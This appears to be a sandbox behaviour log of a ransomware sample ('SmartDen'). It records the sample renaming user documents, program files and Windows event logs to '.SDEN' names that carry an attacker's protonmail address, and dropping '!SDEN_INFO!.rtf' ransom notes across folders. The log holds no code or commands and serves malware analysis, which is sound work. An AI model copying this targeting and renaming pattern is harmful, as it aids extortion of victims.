File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\bin\java-rmi.exe, destination_filename = C:\Program Files\Java\jre1.8.0_144\bin\[SmartDen@protonmail.com].l3cx8zGi-mDNlUzkN.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 184593	1	Fn
System	Get Time	type = Performance Ctr, time = 18462910645	1	Fn
System	Get Time	type = Ticks, time = 184593	1	Fn
System	Get Time	type = Performance Ctr, time = 18462920044	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\bin\klist.exe, destination_filename = C:\Program Files\Java\jre1.8.0_144\bin\[SmartDen@protonmail.com].VlVMO5cE-oEiKmh9u.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186453	1	Fn
System	Get Time	type = Performance Ctr, time = 18648438328	1	Fn
System	Get Time	type = Ticks, time = 186453	1	Fn
System	Get Time	type = Performance Ctr, time = 18648451349	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\chrome.7z, destination_filename = C:\Program Files (x86)\Google\Chrome\Application\61.0.3163.79\Installer\[SmartDen@protonmail.com].r03CLOO9-dDuAIuwS.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186593	1	Fn
System	Get Time	type = Performance Ctr, time = 18662675687	1	Fn
System	Get Time	type = Ticks, time = 186593	1	Fn
System	Get Time	type = Performance Ctr, time = 18662689983	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\tmPhlv28.xls, destination_filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\[SmartDen@protonmail.com].TmAraU5b-L9dVPBJg.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186593	1	Fn
System	Get Time	type = Performance Ctr, time = 18662767860	1	Fn
System	Get Time	type = Ticks, time = 186593	1	Fn
System	Get Time	type = Performance Ctr, time = 18662777432	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Documents\ZOJs8SfeUiV.docx, destination_filename = C:\Users\FD1HVy\Documents\[SmartDen@protonmail.com].IobyZVvE-UKi081j9.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186593	1	Fn
System	Get Time	type = Performance Ctr, time = 18662837377	1	Fn
System	Get Time	type = Ticks, time = 186593	1	Fn
System	Get Time	type = Performance Ctr, time = 18662861699	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterRegular.ttf, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\[SmartDen@protonmail.com].4FZ419Ec-X95nTyu6.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186593	1	Fn
System	Get Time	type = Performance Ctr, time = 18662920274	1	Fn
System	Get Time	type = Ticks, time = 186593	1	Fn
System	Get Time	type = Performance Ctr, time = 18662929696	1	Fn
File	Move	source_filename = C:\588bce7c90097ed212\netfx_Core_x86.msi, destination_filename = C:\588bce7c90097ed212\[SmartDen@protonmail.com].LUUyCtHB-9dsN3xuK.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186593	1	Fn
System	Get Time	type = Performance Ctr, time = 18662988216	1	Fn
System	Get Time	type = Ticks, time = 186593	1	Fn
System	Get Time	type = Performance Ctr, time = 18662997488	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].7xJarNFy-Ovu1LwL6.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701543581	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701556461	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].SQwoFiwL-vutG2jx4.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701614250	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701628446	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\bin\unpack200.exe, destination_filename = C:\Program Files\Java\jre1.8.0_144\bin\[SmartDen@protonmail.com].pwRHnOkx-x92qt7x7.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701699355	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701711066	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\javafx.properties, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\[SmartDen@protonmail.com].hmgmIRmh-r0EDAz4h.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701781555	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701793566	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\management\jmxremote.access, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\management\[SmartDen@protonmail.com].mqjzjKYI-mnf4YfvU.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701862882	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701875130	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-SettingSync%4Debug.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].VmxOySpU-caWWSOSg.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701937228	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18701946209	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\DefaultID.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\[SmartDen@protonmail.com].JDHaPOxG-TR15J5dw.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702006682	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702015560	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\ENUtxt.pdf, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\[SmartDen@protonmail.com].sgXv0uf2-yxZfvYQf.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702072030	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702081013	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\edit_pdf_poster.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].kJiZDyq7-0EXHYmV3.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702158822	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702169769	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-SMBServer%4Operational.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].tzjZ2Gc4-yf0podTb.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702219390	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702229005	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\PYCC.pf, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\[SmartDen@protonmail.com].xKM7Wfs0-jG3QnoRb.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702577029	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702586229	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\bin\ssvagent.exe, destination_filename = C:\Program Files\Java\jre1.8.0_144\bin\[SmartDen@protonmail.com].wZti7iuj-8pUKLcxL.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702640431	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702649431	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_ko.properties, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\[SmartDen@protonmail.com].fCcLgVcO-YBGVKAKh.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702742573	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702751744	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\bin\java.exe, destination_filename = C:\Program Files\Java\jre1.8.0_144\bin\[SmartDen@protonmail.com].bloDMRiW-B2nXJkWV.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702809082	1	Fn
System	Get Time	type = Ticks, time = 186984	1	Fn
System	Get Time	type = Performance Ctr, time = 18702818428	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\GRAY.pf, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\[SmartDen@protonmail.com].HolYJYsb-teiGdc8u.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 187031	1	Fn
System	Get Time	type = Performance Ctr, time = 18705565922	1	Fn
System	Get Time	type = Ticks, time = 187031	1	Fn
System	Get Time	type = Performance Ctr, time = 18705579569	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-SMBServer%4Security.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].M72ZrrRz-0AN1ugqL.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 187031	1	Fn
System	Get Time	type = Performance Ctr, time = 18705641342	1	Fn
System	Get Time	type = Ticks, time = 187031	1	Fn
System	Get Time	type = Performance Ctr, time = 18705651266	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_it.properties, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\[SmartDen@protonmail.com].5QNyLWQT-wG1jMrrx.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 187031	1	Fn
System	Get Time	type = Performance Ctr, time = 18705705071	1	Fn
System	Get Time	type = Ticks, time = 187031	1	Fn
System	Get Time	type = Performance Ctr, time = 18705714919	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\bin\ktab.exe, destination_filename = C:\Program Files\Java\jre1.8.0_144\bin\[SmartDen@protonmail.com].Lv0shV5B-wcnV61Dt.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 187031	1	Fn
System	Get Time	type = Performance Ctr, time = 18705782385	1	Fn
System	Get Time	type = Ticks, time = 187031	1	Fn
System	Get Time	type = Performance Ctr, time = 18705791962	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11-lic.gif, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\[SmartDen@protonmail.com].pheRFO8j-wP2uLqHk.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Sleep	duration = 1500 milliseconds (1.500 seconds)	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18856903506	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18856915455	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\[SmartDen@protonmail.com].y9293Rgu-VrP0pAnK.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18856997354	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18857009866	1	Fn
File	Move	source_filename = C:\588bce7c90097ed212\Windows6.0-KB956250-v6001-x86.msu, destination_filename = C:\588bce7c90097ed212\[SmartDen@protonmail.com].fpGit5g8-1i9BJf7E.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18857068993	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18857078812	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\bin\tnameserv.exe, destination_filename = C:\Program Files\Java\jre1.8.0_144\bin\[SmartDen@protonmail.com].6hEOZ2vg-hTjdOOHU.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18857134798	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18857144573	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].n7aKKAIQ-EZntx40E.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18857205496	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18857215178	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].rmYFoa4o-Cyl2TOzk.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18857265556	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18857275133	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy.jar, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\[SmartDen@protonmail.com].pFOBRdsx-rdrTm5st.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18858332188	1	Fn
System	Get Time	type = Ticks, time = 188546	1	Fn
System	Get Time	type = Performance Ctr, time = 18858345379	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\LINEAR_RGB.pf, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\[SmartDen@protonmail.com].mMhVZ8mB-zYZImYWp.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858458384	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858469155	1	Fn
File	Move	source_filename = C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx, destination_filename = C:\Logs\[SmartDen@protonmail.com].LRyM8C52-TBFKrKBV.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858525026	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858535938	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_ja.properties, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\[SmartDen@protonmail.com].jxR6xrhw-U5f1NCIj.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858589897	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858600137	1	Fn
File	Move	source_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster2x.jpg, destination_filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\[SmartDen@protonmail.com].RToUtRcG-ZWHlunxO.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858677678	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858688166	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\AppData\Roaming\4nSkn.jpg, destination_filename = C:\Users\FD1HVy\AppData\Roaming\[SmartDen@protonmail.com].1uEyT37K-XRxkUARs.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858744006	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858754574	1	Fn
File	Move	source_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\h5VAwW1b0gH3jYX9oE4.jpg, destination_filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\[SmartDen@protonmail.com].7hEhQpkW-fykgl8XS.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858808146	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858818623	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\sunjce_provider.jar, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\[SmartDen@protonmail.com].jryEzzsH-q5oZQE47.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858879917	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858890209	1	Fn
File	Move	source_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash_11@2x-lic.gif, destination_filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\[SmartDen@protonmail.com].nFvmosaA-PhcglJKk.SDEN, flags = MOVEFILE_REPLACE_EXISTING	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858942341	1	Fn
System	Get Time	type = Ticks, time = 188562	1	Fn
System	Get Time	type = Performance Ctr, time = 18858952914	1	Fn
For performance reasons, the remaining 8979 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0x11a8

6704

0

»

Category	Operation	Information	Count	Logfile
System	Get Time	type = Ticks, time = 172281	1	Fn
System	Get Time	type = Performance Ctr, time = 17231433480	1	Fn
File	Get Info	filename = C:\588bce7c90097ed212\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\588bce7c90097ed212\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\588bce7c90097ed212\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Local\Google\Chrome\User Data\Default\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Documents\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\Documents\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Documents\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\ZBNeq\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Documents\Outlook Files\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\Documents\Outlook Files\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Documents\Outlook Files\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\PWEP9ZZOb dHlAYjsy\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\588bce7c90097ed212\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\AppData\Local\Mozilla\Firefox\Profiles\w7cr0hor.default\OfflineCache\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
